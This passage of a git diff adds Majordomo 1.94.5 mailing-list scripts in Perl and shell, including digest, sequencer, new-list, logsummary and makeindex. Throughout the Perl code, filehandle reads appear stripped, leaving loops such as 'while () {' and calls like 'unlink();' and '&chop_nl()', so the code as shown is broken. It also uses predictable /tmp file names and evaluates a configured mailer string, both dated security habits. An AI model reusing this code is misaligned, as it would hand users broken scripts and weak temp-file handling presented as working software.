$issue; + +&set_lock("$listdir/$opt_l.config.LOCK"); +&config'writeconfig($listdir, $opt_l); +&free_lock("$listdir/$opt_l.config.LOCK"); +print STDERR "Config for list $opt_l set to volume $volume, issue $issue\n"; + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/digest.send b/update/scripts/packages/majordomo-1.94.5/contrib/digest.send new file mode 100644 index 0000000..3229833 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/digest.send @@ -0,0 +1,28 @@ +#! /bin/sh +# This script was contributed by "Paul Pomes" +# +# It only works with versions of "digest" that have been modified +# to work with the config file moddifications in majordomo 1.90 and above. +# This script can be called from cron to automatically generate +# digests for all of the lists in DIGESTDIR. E.G. +# +# daily +# 0 2 * * * /path/to/digest.send +# +# weekly (on monday) +# 0 2 * * 1 /path/to/digest.send +# +# monthly (first of the month) +# 0 2 1 * * /path/to/digest.send +# +DIGESTDIR=/usr/spool/digests +cd $DIGESTDIR + +for i in * +do + if [ -f $i/001 ]; + then + /path/to/majordomo/wrapper digest -m -C -l $i ${i}-outgoing + fi +done + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl b/update/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl new file mode 100644 index 0000000..e0c6da4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl @@ -0,0 +1,156 @@ +#!/bin/perl +# +# Print various statistics about the Log file +# +# Todo: summarize admin commands +# +# Paul Close, April 1994 +# + +while (<>) { + if (($mon,$day,$time,$who,$cmd) = + /([A-Za-z]+) (\d+) ([\d:]+)\s+.*majordomo\[\d+\]\s+{(.*)} (.*)/) + { + @f = split(' ',$cmd); + $cmd = $f[0]; + $f[1] =~ s/[<>]//g; + $f[2] =~ s/[<>]//g; + $count{$cmd}++; + + # help + # lists + # which [address] + # approve PASSWD ... + if ($cmd eq "approve" || + $cmd eq "help" || + $cmd eq "lists" || + $cmd eq "which") + { + ${$cmd}++; + } + + # index list + # info list + # who list + elsif ($cmd eq "index" || + $cmd eq "info" || + $cmd eq "who") + { + if ($#f == 1) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + # get list file + # newinfo list passwd + elsif ($cmd eq "get" || + $cmd eq "newinfo") + { + if ($#f == 2) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + if ($cmd eq "get") { + $req = &ParseAddrs($who); + $long{$req} = $who; + $getcount{$req}++; + } + } else { + $bad{$cmd}++; + } + } + + # subscribe list [address] + # unsubscribe list [address] + elsif ($cmd eq "subscribe" || + $cmd eq "unsubscribe") + { + if ($#f >= 1) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + # request cmd list subscribe (for approval) + elsif ($cmd eq "request") { + if ($#f >= 2) { + $lists{$f[2]}++; + $f[2] =~ s/-//g; + ${$f[2]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + else { + $unrecognized{$cmd}++; + } + } else { + warn "line $. didn't match!\n" if !/^$/; + } +} + +#print "Command summary:\n"; +#foreach $cmd (sort keys %count) { +# printf " %-20s %4d\n", $cmd, $count{$cmd}; +#} + +print "Global commands:\n"; +printf(" %-15s %4d\n", "help", $help) if defined($help); +printf(" %-15s %4d\n", "lists", $lists) if defined($lists); +printf(" %-15s %4d\n", "which", $which) if defined($which); +print "\n"; + +#print "Unrecognized commands:\n"; +#foreach $cmd (sort keys %unrecognized) { +# printf " %-15s %4d\n", $cmd, $unrecognized{$cmd}; +#} +#print "\n"; + +if (defined(%bad)) { + print "Incomplete commands:\n"; + foreach $cmd (sort keys %bad) { + printf " %-15s %4d\n", $cmd, $bad{$cmd}; + } + print "\n"; +} + +# skip request and newinfo +print "List subscr unsub index get info who config approve\n"; +foreach $list (sort keys %lists) { + printf "%-20s", substr($list,0,20); + $list =~ s/-//g; + %l = %{$list}; + printf " %6d %6d %6d %6d %6d %6d %6d %6d\n", $l{subscribe}, $l{unsubscribe}, + $l{index}, $l{get}, $l{info}, $l{who}, $l{config}, $l{approve}; +} +print "\n"; + +@reqs = sort {$getcount{$b}<=>$getcount{$a};} keys %getcount; +if ($#reqs >= 0) { + print "Top requestors (get command):\n"; + for ($i=0; $i < 5; $i++) { + printf " %5d %s\n", $getcount{$reqs[$i]}, $long{$reqs[$i]}; + last if ($i == $#reqs); + } +} + +# from majordomo.pl, modified to work on a single address +# $addrs = &ParseAddrs($addr_list) +sub ParseAddrs { + local($_) = shift; + 1 while s/\([^\(\)]*\)//g; # strip comments + 1 while s/"[^"]*"//g; # strip comments + 1 while s/.*<(.*)>.*/\1/; + s/^\s+//; + s/\s+$//; + $_; +} + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl b/update/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl new file mode 100644 index 0000000..63ed3a3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl @@ -0,0 +1,98 @@ +#!/bin/perl +# +# Given an archive directory, create a table of contents file and a topics +# file. The table of contents file simply lists each subject that appears +# in each archive file, while the topics file is a list of each unique +# subject and the files that subject appears in. +# +# I run this from cron every night.... +# +# Paul Close, April 1994 +# + +if ($#ARGV != -1) { + $dir = $ARGV[0]; + shift; +} +else { + die "usage: $0 archive_directory\n"; +} + +opendir(FILES, $dir) || die "Can't open directory $dir: $!\n"; +@files = readdir(FILES); # get all files in archive directory +closedir(FILES); + +open(INDEX,">$dir/CONTENTS") || die "Can't open $dir/CONTENTS: $!\n"; +open(TOPICS,">$dir/TOPICS") || die "Can't open $dir/TOPICS: $!\n"; + +foreach $basename (@files) { + next if $basename eq '.'; + next if $basename eq '..'; + next if $basename eq "CONTENTS"; + next if $basename eq "TOPICS"; + print INDEX "\n$basename:\n"; + open(FILE, "$dir/$basename") || next; + while () { + if (/^Subject:\s+(.*)/i) { + ($subj = $1) =~ s/\s*$//; + next if $subj eq ""; + # + # for index file, just print the subject + # + print INDEX " $subj\n"; + # + # for topics file, strip Re:'s, remove digest postings, + # and trim the length to 40 chars for pretty-printing. + # + 1 while ($subj =~ s/^Re(\[\d+\]|2?):\s*//i); # trim all Re:'s + next if $subj eq ""; + next if $subj =~ /[A-Za-z]+ Digest, Volume \d+,/i; + next if $subj =~ /[A-Za-z]+ Digest V\d+ #\d+/i; + if (length($subj) > 40) { + $subj = substr($subj, 0, 37) . "..."; + } + # + # Make a key that's all lower case, and no whitespace to + # reduce duplicate topics that differ only by those. This + # also results in a list of topics sorted case-independent. + # + ($key = $subj) =~ tr/A-Z/a-z/; + $key =~ s/\s+//g; + $subjlist{$key} .= "$basename,"; + if (!defined($realsubj{$key})) { + $realsubj{$key} = $subj; + } + } + } + close(FILE); +} +close(INDEX); + +foreach $subj (sort keys %subjlist) { + # + # for each subject, record each file it was found in + # + undef %found; + undef @names; + for (split(",", $subjlist{$subj})) { + $found{$_} = 1; + } + # + # make list of 'found' names and wrap at 80 columns + # + $names = join(", ", sort keys %found); + undef @namelist; + while (length($names) > 40) { + $index = 40; + $index-- until (substr($names, $index, 1) eq " " || $index < 0); + push(@namelist,substr($names,0,$index)); + $names = substr($names,$index+1); + } + push(@namelist,$names); + printf TOPICS "%-40s %s\n", $realsubj{$subj}, $namelist[0]; + for ($i=1; $i <= $#namelist; $i++) { + print TOPICS " " x 41, $namelist[$i], "\n"; + } +} +close(TOPICS); + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/new-list b/update/scripts/packages/majordomo-1.94.5/contrib/new-list new file mode 100644 index 0000000..8e6388d --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/new-list @@ -0,0 +1,103 @@ +#!/bin/perl + + +# $Source: /sources/cvsrepos/majordomo/contrib/new-list,v $ +# $Revision: 1.14 $ +# $Date: 1996/12/09 16:50:45 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +require "majordomo.pl"; +require "shlock.pl"; + +&ParseMailHeader(STDIN, *hdrs); +$reply_to = &RetMailAddr(*hdrs); +$reply_to = join(", ", &ParseAddrs($reply_to)); +die("new-list: $reply_to is not a valid return address.\n") + if (! &valid_addr($reply_to)); + +$in_reply_to = $hdrs{"message-id"} . ", from " . $hdrs{"from"}; +$list = $ARGV[0]; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + +$sender = "$list-approval"; + +$mailcmd = eval qq/"$bounce_mailer"/; + +if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; +} else { + &abort("Failed to fork prior to mailer exec"); +} + + +print MAIL <<"EOM"; +To: $reply_to +Cc: $list-approval +From: $list-approval +Subject: Your mail to $list\@$whereami +In-Reply-To: $in_reply_to +Reply-To: $list-approval\@$whereami + +This pre-recorded message is being sent in response to your recent +email to $list\@$whereami. + +If you were trying to subscribe to the list, please send your request +to $whoami, not to $list\@$whereami. + +This is a new list. Your message is being returned unsent, but please +hold on to it. After a few days, when the flood of subscription +requests has died down somewhat, the owner of the list will announce +that the list is "open for business"; you should resubmit your posting +then. This way, everybody who joins the list within the first few days +of its existence starts out on an even footing, and we don't end up +with every other message asking "what did I miss?". + +Here's your original, unsent message: + +EOM + ; + +foreach ("From", "To", "Cc", "Subject", "Date", "Message-ID") { + ($hdr = $_) =~ tr/A-Z/a-z/; + if (defined($hdrs{$hdr})) { + print MAIL $_, ": ", $hdrs{$hdr}, "\n"; + } +} + +print MAIL "\n"; + +while () { + print MAIL $_; +} + +close(MAIL); + +exit 0; diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/sequencer b/update/scripts/packages/majordomo-1.94.5/contrib/sequencer new file mode 100644 index 0000000..df50016 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/sequencer @@ -0,0 +1,559 @@ +#!/usr/bin/perl -U + +# Copyright 1996 MACS, Inc. +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement +# for usage rights. +# +# $Source: /sources/cvsrepos/majordomo/contrib/sequencer,v $ +# $Revision: 1.2 $ +# $Date: 1996/12/09 16:50:48 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +# sequence - a program for sequencing and archiving e-mail messages +# from majordomo +# +# Based heavily upon the resend script included in the majordomo distribution + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/sbin:/sbin"; + +# What shall we use for temporary files? +$tmp = "/tmp/majordomo.$$"; + +# Before doing anything else tell the world I am sequencer +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'sequencer'; + + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() + +if ($ARGV[0] =~ /^@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +use Getopt::Std; +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; +require "shlock.pl"; + +getopts("Aa:df:h:I:l:m:M:nNp:Rr:s") || die("sequencer: Getopts() failed: $!"); + +if (! defined($opt_l) || ! defined($opt_h)) { + die("sequencer: must specify both '-l list' and '-h host' arguments"); +} + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +if ( ! @ARGV) { + die("sequencer: must specify outgoing list as last arg(s)"); +} + +$opt_r = "$opt_r@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +if (defined($opt_f)) { + $sendmail_sender = $opt_f; +} else { + $sendmail_sender = "$opt_l-request"; +} + +if (defined($opt_a)) { + if ($opt_a =~ /^\//) { + open(PWD, $opt_a) || die("sequencer: open(PWD, \"$opt_a\"): $!"); + $opt_a = &chop_nl(); + } +} + +if (defined($opt_A) && ! defined($opt_a)) { + die("sequencer: must also specify '-a passwd' if using '-A' flag"); +} + +# code added for getting new sequence number + +if (defined($opt_N)) { + $opt_n = $opt_N; +} + +if (defined($opt_n)) { + $seqfile = "$listdir/$opt_l.seq"; + if (! -r $seqfile) { # if there is no sequence file, make one + open(SEQ, ">$seqfile") || die("sequencer: open of $seqfile failed: $!"); + print SEQ "1\n"; + close SEQ; + } + &main'lopen(SEQ, "<", "$seqfile") || die("sequencer: locked open of $seqfile failed: $!"); + chop($seqnum = ); + +# note that the sequence file is opened and locked from here until +# the message is sent + +} + + +$sender = "$sendmail_sender@$opt_h"; + +&open_temp(OUT, "/tmp/sequencer.$$.out") || + &abort("sequencer:1 Can't open /tmp/sequencer.$$.out: $!"); + +&open_temp(IN, "/tmp/sequencer.$$.in") || + &abort("sequencer: Can't open /tmp/sequencer.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "/tmp/sequencer.$$.in") || + die("sequencer: Can't open /tmp/sequencer.$$.tmp: $!"); + +do { + $restart = 0; + $pre_hdr = 1; + while () { + if ($pre_hdr) { + if (/^\s*$/) { + # skip leading blank lines; usually only there if this is a + # restart after an in-body "Approved:" line + next; + } else { + $pre_hdr = 0; + $in_hdr = 1; + $kept_last = 0; + } + } + if ($in_hdr) { + if (/^\s*$/) { + # end of header; add new header fields + # if there is no subject, create one + if (!defined($subject)) { + local($foo); + if ($config_opts{$opt_l,"subject_prefix"} ne '') { + $foo = &config'substitute_values( + $config_opts{$opt_l,"subject_prefix"}, $opt_l); +# for sequencing we add a special keyword! + if (defined($opt_n)) { + $foo =~ s/\$SEQNUM/$seqnum/; + } + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + if (!/$foo_pat/) { + $foo = $foo . " "; + } + } + $subject = $foo . "Message for " . $opt_l; + print OUT $subject, "\n"; + } + + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), + "\n"; + } + + # print out additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $headers =~ s/\001/\n/g; + print OUT $headers; + } + + $in_hdr = 0; + print OUT $_; + + # print out front matter + if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l); + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; + } + } elsif (/^approved:\s*(.*)/i && defined($opt_a)) { + $approved = &chop_nl($1); + if ($approved ne $opt_a && + !(&main'valid_passwd($listdir, $opt_l, $approved))) { + &bounce("Invalid 'Approved:' header"); + } + } elsif (/^from /i # skip all these headers + || /^sender:/i + || /^return-receipt-to:/i + || /^errors-to:/i + || /^return-path:/i + || (/^reply-to:/i && defined($opt_r)) # skip only if "-r" set + || (/^precedence:/i && defined($opt_p)) # skip only if "-p" set + || (/^received:/i && defined($opt_R)) # skip only if "-R" set + || (/^\s/ && ! $kept_last) # skip if skipped last + ) { + # reset $kept_last in case next line is continuation + $kept_last = 0; + } else { + # check for administrivia requests + if (defined($opt_s) && ! defined($approved) + && (/^subject:\s*subscribe\b/i || + /^subject:\s*unsubscribe\b/i || + /^subject:\s*help\b/i || + /^subject:\s*RCPT:\b/ || + /^subject:\s*Delivery Confirmation\b/ || + /^subject:\s*NON-DELIVERY of:/ || + /^subject:\s*Undeliverable Message\b/ || + /^subject:\s*Receipt Confirmation\b/ || + /^subject:\s*Failed mail\b/ || + /^subject:\s.*\bchange\b.*\baddress\b/ || + /^subject:\s*request\b.*\baddition\b/i)) { + &bounce("Admin request"); + } + + # prepend subject prefix + if ( (/^subject:\s*/i) && + ($config_opts{$opt_l,"subject_prefix"} ne '') + ) { + local($foo) = &config'substitute_values( + $config_opts{$opt_l,"subject_prefix"}, $opt_l); +# for sequencing we add a special keyword! + if (defined($opt_n)) { + $foo =~ s/\$SEQNUM/$seqnum/; + } + $subject = $_; + $subject =~ s/^subject:\s*(.*)/$1/i; + $subject = &chop_nl($foo . " " . $subject); + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + s/^subject:\s*/Subject: $foo /i if !/$foo_pat/; + } + + if ( /^from:\s*(.+)/i ) + { + $from = $1; + $from_last = 1; + } + elsif ( defined($from_last) ) + { + if ( /^\s+(.+)/ ) + { + $from .= " $1"; + } + else + { + undef($from_last); + } + } + &check_hdr_line($_); # check for length & balance + $kept_last = 1; + print OUT $_; + } + } else { + # this isn't a header line, so print it (maybe) + # first, though, is the first line of the body an "Approved:" line? + if (($body_len == 0) && /^approved:\s*(.*)/i && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a && + !(&main'valid_passwd($listdir, $opt_l, $approved))) { + &bounce("Invalid 'Approved:' header"); + } else { + # Yes, it's a valid "Approved:" line... + # So, we start over + $restart = 1; + close(OUT); + unlink("/tmp/sequencer.$$.out"); + &open_temp(OUT, "/tmp/sequencer.$$.out") || + &abort("sequencer:2 Can't open /tmp/sequencer.$$.out: $!"); + last; + } + } + $body_len += length($_); + # make sure it doesn't make the message too long + if (defined($opt_M) && ! defined($approved) + && ($body_len > $opt_M)) { + &bounce("Message too long (>$opt_M)"); + } + # add admin-request recognition heuristics here... (body) + if (defined($opt_s) && ! defined($approved) && ($body_line++ < 5) && ( + /\badd me\b/i + || /\bdelete me\b/i || /\bremove\s+me\b/i + || /\bchange\b.*\baddress\b/ + || /\bsubscribe\b/i || /^sub\b/i + || /\bunsubscribe\b/i || /^unsub\b/i + || /^\s*help\s*$/i # help + || /^\s*info\s*$/i # info + || /^\s*info\s+\S+\s*$/i # info list + || /^\s*lists\s*$/i # lists + || /^\s*which\s*$/i # which + || /^\s*which\s+\S+\s*$/i # which address + || /^\s*index\s*$/i # index + || /^\s*index\s+\S+\s*$/i # index list + || /^\s*who\s*$/i # who + || /^\s*who\s+\S+\s*$/i # who list + || /^\s*get\s+\S+\s*$/i # get file + || /^\s*get\s+\S+\s+\S+\s*$/i # get list file + || /^\s*approve\b/i + || /^\s*passwd\b/i + || /^\s*newinfo\b/i + || /^\s*config\b/i + || /^\s*newconfig\b/i + || /^\s*writeconfig\b/i + || /^\s*mkdigest\b/i + )) { + &bounce("Admin request"); + } + print OUT $_; + } + } +} while ($restart); + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); + $footer =~ s/\001/\n/g; + print OUT $footer; +} + +close(OUT); + +if ( defined($opt_I) && defined($from) && ! defined($approved) ) { + local($infile) = 0; + + @files = split (/[:\t\n]+/, $opt_I); + + foreach $file (@files) { + if ($file !~ /^\//) { + $file = "$listdir/$file"; + } + if ( open (LISTFD, "<${file}") != 0 ) { + @output = grep (&addr_match($from, $_), ); + close (LISTFD); + + if ( $#output != -1 ) { + $infile = 1; + last; + } + } else { + die("sequencer:Can't open $file: $!"); + } + } + + if ( $infile == 0 ) { + &bounce ("Non-member submission from [$from]"); + } +} + +if (defined($opt_A) && ! defined($approved)) { + &bounce("Approval required"); +} + +$sendmail_cmd = "/usr/lib/sendmail $opt_m -f$sendmail_sender " . + join(" ", @ARGV); + +if (defined($opt_d)) { + $| = 1; + print "Command: $sendmail_cmd\n"; + $status = (system("cat /tmp/sequencer.$$.out") >> 8); + unlink(); + +#remember to unlock the sequence file here! + if (defined($opt_n)) { + &main'lclose(SEQ); + } + exit($status); +} else { + local(*MAILOUT, *MAILIN, @mailer); + @mailer = split(' ', "$sendmail_cmd"); + open(MAILOUT, "|-") || &do_exec_sendmail(@mailer); +# create archival copy + if (defined($opt_N)) { + if (open (INDEX, ">>$filedir/$opt_l$filedir_suffix/INDEX")) { + $timenow = localtime(time); + printf(INDEX "%s\n\tFrom %s on %s\n", $subject, $from, $timenow); + close (INDEX); + } + open (ARCHIVE, ">$filedir/$opt_l$filedir_suffix/$seqnum"); + } + open(MAILIN, "/tmp/sequencer.$$.out"); + while () { + print MAILOUT $_; + if (defined($opt_N)) { + print ARCHIVE $_; + } + } + close(MAILOUT); + if (defined($opt_N)) { + close(ARCHIVE); + } + if (defined($opt_n)) { + $seqnum++; + &main'lreopen(SEQ, ">", "$seqfile"); + print SEQ $seqnum, "\n"; + &main'lclose(SEQ); + } + close(MAILIN); + unlink(); + exit(0); +} + +sub check_balance { + # set a temporary variable + local($t) = shift; + # strip out all nested parentheses + 1 while $t =~ s/\([^\(\)]*\)//g; + # strip out all nested angle brackets + 1 while $t =~ s/\<[^\<\>]*\>//g; + # if any parentheses or angle brackets remain, were imbalanced + if ($t =~ /[\(\)\<\>]/ && ! defined($approved)) { + &bounce("Imbalanced parentheses or angle brackets"); + return(undef); + } + return(1); +} + +sub check_hdr_line { + + local($_) = shift; + + if (! /^\s/) { # is this a continuation line? + # Not a continuation line. + # If $balanced_fld is defined, it means the last field was one + # that needed to have balanced "()" and "<>" (i.e., "To:", "From:", + # and "Cc:", so check it. We do it here in case the last field was + # multi-line. + + if (defined($balanced_fld)) { + &check_balance($balanced_fld); + } + + # we undefine $balanced_fld and reset $field_len; these may be set below + + undef($balanced_fld); + $field_len = 0; + } + + # is this a field that must be checked for balanced "()" and "<>"? + if (defined($balanced_fld) || /^from:/i || /^cc:/i || /^to:/i) { + # yes it is, but we can't check it yet because there might be + # continuation lines. Buffer it to be checked at the beginning + # of the next non-continuation line. + + # is this line too long? + if ((length($_) > 128) && ! defined($approved)) { + &bounce("Header line too long (>128)"); + return(undef); + } + + # is this field too long? + if ((($field_len += length($_)) > 1024) && ! defined($approved)) { + &bounce("Header field too long (>1024)"); + return(undef); + } + + $balanced_fld .= $_; + chop($balanced_fld); + } + + # if we get here, everything was OK. + return(1); +} + +sub bounce { + local($reason) = shift; + local($_); + + &resend_sendmail(BOUNCE, $sender, "BOUNCE $opt_l@$opt_h: $reason"); + + seek(IN, 0, 0); + while () { + print BOUNCE $_; + } + close(BOUNCE); + unlink(); + exit(0); +} + +sub resend_sendmail { + local(*MAIL) = shift; + local($to) = shift; + local($subject) = shift; + + # clean up the addresses, for use on the sendmail command line + local(@to) = &ParseAddrs($to); + for (@to) { + $_ = join(", ", &ParseAddrs($_)); + } + $to = join(", ", @to); + + # open the process + if (defined($opt_d)) { + # debugging, so just say it, don't do it + open(MAIL, ">-"); + print MAIL ">>> /usr/lib/sendmail -f$sendmail_sender -t\n"; + } else { + local(@mailer) = split(' ',"/usr/lib/sendmail -f$sendmail_sender -t"); + open(MAIL, "|-") || &do_exec_sendmail(@mailer); + } + + # generate the header + print MAIL <<"EOM"; +To: $to +From: $sender +Subject: $subject + +EOM + + return; +} diff --git a/update/scripts/packages/majordomo-1.94.5/digest b/update/scripts/packages/majordomo-1.94.5/digest new file mode 100644 index 0000000..e16d632 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/digest @@ -0,0 +1,504 @@ +#!/bin/perl + +# Original from J Greely , 9/30/92 +# +# Heavily modified by Brent Chapman + +# $Source: /sources/cvsrepos/majordomo/digest,v $ +# $Revision: 1.24 $ +# $Date: 2000/01/07 11:04:34 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/digest,v 1.24 2000/01/07 11:04:34 cwilson Exp $ +# +# + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_digest'; # '; + + +&init; +&readconfig; +$TEMP = (defined $TMPDIR && -d $TMPDIR) ? + "$TMPDIR/digest.$$" : "/usr/tmp/digest.$$"; + +if (defined($opt_r)) { + &receive_message; + if (&should_be_sent(1)) { + &make_digest; + } +} elsif (defined($opt_R)) { + &receive_message; +} elsif (defined($opt_m)) { + &make_digest; +} elsif (defined($opt_p)) { + if (&should_be_sent(1)) { + &make_digest; + } +} else { + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); +} + +&free_lock($lockfile); + +exit(0); + +sub receive_message { + $i = 0; + do { + $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); + + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + + # copy the message + while () { + print MSG $_; + } + + close(MSG); +} + +# +# Use config variables to determine if a digest should be contructed +# and sent, or not. Measures line count and byte count of messages +# as they would appear in the digest, not as they exist in the spool +# dir. Side-effect: $file is the last file that should be included +# in this digest, based on the config variables. +# +sub should_be_sent { + # fudge factors for headers and footers + $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); + $lines = 25 + ($HEADER =~ s/\n/\n/g) + ($HEADERS =~ s/\n/\n/g) + + ($TRAILER =~ s/\n/\n/g); + ##print "start: lines = $lines\n"; + $i = shift; + while (1) { + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, $i++); + last unless (-e $nextfile); + $file = $nextfile; + open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); + + $/ = ''; # grab the header + $head = ; + + # only count From/Date/Subject header fields to get a + # more accurate size and line count. + $head =~ s/\n\s+/ /g; + $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); + $sum++, $lines++; + + # count the body of the message + undef $/; + $body = ; + $sum += length($body); + $lines += ($body =~ s/\n/\n/g); # count newlines + + $/ = "\n"; + close(COUNT); + $sum += length($EB) + 3, $lines += 3; # account for message delimiter + + ##printf "After message %03d, lines = $lines\n", $i-1; + + if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { + return(1); + } + if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { + return(1); + } + if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { + return(1); + } + } + + return(0); +} + +# +# Loop through calling 'should_be_sent' to find out how large each digest +# should be and calling send_digest to construct and send each digest. +# All the files in the spool directory are sent. This could be modified +# to only send "complete" digests. +# +# Note that this will quietly terminate if there are no messages in the +# spool. I find this preferable to an abort. +# +sub make_digest { + # disable age detection + $V{'MAX_AGE'} = 0; + # use 'should_be_sent' to find out how large each digest should be + # and loop through the spool dir until it's empty + $fnum = 0; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + while (-e $nextfile) { + # starts at $fnum, sets '$file' to the last file to use + &should_be_sent($fnum); + &send_digest($file); + ($fnum) = $file =~ m#/(\d+)$#; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + $NUMBER++; + } + + if (! $opt_d) { + if ( ! defined($opt_C) ) { + open(NUM_FILE, ">$V{'NUM_FILE'}") || + &abort("open(NUM_FILE, \">$NUM_FILE\"): $!"); + printf NUM_FILE "%d\n", $NUMBER; + close(NUM_FILE); + } else { # hurrah we are using the majordomo config file + $config_opts{$opt_l,"digest_issue"} = $NUMBER; + &config'writeconfig($listdir, $opt_l); + } + } +} + +# +# Contruct and send a digest using files in the spool directory up to and +# including the "last file" specified as the first argument. +# +sub send_digest { + local($lastfile) = shift; + if (opendir(DIR, $V{'INCOMING'})) { + @files = grep(/^\d+$/, readdir(DIR)); + closedir(DIR); + } + else { + &abort("Error opening $V{'INCOMING'}: $!\nStopped "); + } + &abort("No messages.\nStopped ") unless @files; + open(TEMP,">$TEMP") || &abort("$TEMP: 